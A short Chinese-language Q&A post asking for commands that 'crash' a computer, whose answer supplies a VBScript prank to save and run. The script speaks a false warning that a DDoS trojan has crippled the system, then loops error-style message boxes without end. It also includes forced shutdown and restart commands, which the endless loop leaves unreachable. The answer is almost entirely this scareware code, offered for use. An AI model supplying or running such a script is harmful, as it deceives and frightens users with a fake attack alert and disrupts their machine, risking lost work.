让电脑崩溃的指令

Question

如题所述

Answer 1

新建文本文档，将本段代码复制进入文本，保存；将后缀.txt改为 .vbs 即可
CreateObject("SAPI.SpVoice").Speak"你的电脑受到d dos木马攻击，系统严重瘫痪，电脑系统将在三秒后崩溃"
set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 2000

CreateObject("SAPI.SpVoice").Speak"电脑系统已崩溃。"

do
MsgBox "404 Bad Gateway",vbExclamation+vbYesNo,"请立即关闭您的计算机！"
loop

set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 8000

CreateObject("Wscript.Shell").run "cmd.exe /c shutdown -f"
CreateObject("Wscript.Shell").run "cmd.exe /c shutdown -r -t 2"